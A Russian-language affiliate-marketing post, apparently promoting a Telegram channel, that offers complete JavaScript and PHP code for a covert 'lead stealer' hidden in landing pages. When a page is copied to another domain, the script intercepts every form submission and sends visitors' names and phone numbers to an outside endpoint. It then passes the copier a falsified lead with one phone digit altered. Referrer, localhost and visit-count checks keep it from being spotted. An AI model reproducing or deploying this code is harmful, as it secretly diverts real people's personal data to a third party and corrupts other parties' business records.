Всем привет! Сегодня поделюсь с Вами моей разработкой. А именно скрипт на преленд/ленд, который будит стилить, то есть воровать лиды, если ваш ленд/преленд был скопирован.
Подписывайтесь на канал – https://t.me/deepcpa!
Что умеет скрипт?
- Это несколько степеней проверки, чтобы он срабатывал только, когда зашел реальный человек(проверка протокола, порта, реффера, кол-во заходов, на реальном ли домене запущен)
- Можно указать % стила(от 1 до 100%)
- Не срабатывает, если он на вашем домене
- Обрабатывает все формы
- Отправляет жертве, то есть тому, кто скопировал ваш ленд/ преленд, такой же лид, только с 1 изменённой цифрой в номере телефона
- К скрипту есть комменты, так что каждый разберется
Как его интегрировать, тут уже на ваше усмотрение.
Скрипт, который нужно добавить на ленд/преленд, главное чтобы инпуты имени и номера были с атрибутами name=»name» и name=»phone»
// Здесь укажите % срабатываний скриптаconst prc = 100//Указываем путь к php файлу обработчикуconst url = 'тут ссылка на обработчик'//Указываем домен где будет находиться прокла/лендconst originalHost = `ваш домен без https:// и /`const checkedHost = window.location.hostconst fullUrl = window.location.href//запускаем скриптstart()function start() { let userChek = checkUser() //проверяем прошел ли юзер проверку if (!userChek) return let random = isRandom() //проверяем попали ли мы в указанный % if (random) stealer()}function stealer() { //проверяем спизжен ли ленд if (checkedHost == originalHost) return let forms = document.querySelectorAll('form') forms.forEach(element => { element.addEventListener('submit', (e) => { e.preventDefault() let name = e.target.querySelector('[name="name"]').value let phone = e.target.querySelector('[name="phone"]').value //формируем данные для отправки let data = { host: fullUrl, name: name, phone: phone } //отправляем запрос sendData(data) .then(res => { //Cоздаем копию формы и меняй последнюю цифру, затем ее отправляем var dupForm = e.target.cloneNode(true); dupForm.querySelector('[name="phone"]').value = `${phone.slice(0, -1)}${Math.floor(Math.random() * 9)}` dupForm.style.display = 'none' let body = document.querySelector('body') body.append(dupForm) dupForm.submit(); }) }) });}function isRandom() { let rnd = Math.floor(Math.random() * 101) if (rnd <= prc) return true return false}function checkUser() { // // максимальное количество заходов при котором сработает скрипт const AvalibleEntry = 2 let protocol = window.location.protocol let port = window.location.port let host = window.location.host let reffer = document.referrer let status = false //проверяем зашел ли пользователь с http или https if (protocol == 'http:' || protocol == 'https:') status = true if (!status) return false //проверяем есть ли порт у юзера if (port != '') return false //проверяем не запущен ли на сервере if (host.includes('localhost') || host.includes('127.0.0.1')) return false //проверяем на наличие рефера if (reffer == '') return false //определяем количество заходов конкретного юзера let userCount = localStorage.getItem('count') //если больше 2 не пропускаем if (userCount >= AvalibleEntry) return false //если меньше то определяем текущее значение и прибавляем + 1 userCount == null ? localStorage.setItem('count', 1) : localStorage.setItem('count', +userCount + 1) return true}function sendData(propse) { return fetch(url, { method: 'post', body: JSON.stringify(propse) }) .then(response => response.json()) .then(json => (json)) .then(res => { this.data = res return res })}
Скрипт обработчика, он только получает данные с номером, именем и хостом с которого отправили лид. Дальше используйте как вам нужно, хоть сразу в пп отправляйте, ну или в телегу.
<?php
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: GET, POST');
header("Access-Control-Allow-Headers: *");
$payload = file_get_contents('php://input');
$payload = json_decode($payload, true);
$phone = $payload['phone'];
$name = $payload['name'];
$url = $payload['host'];
?>
Нужна тех. помощь пишите в телеграм!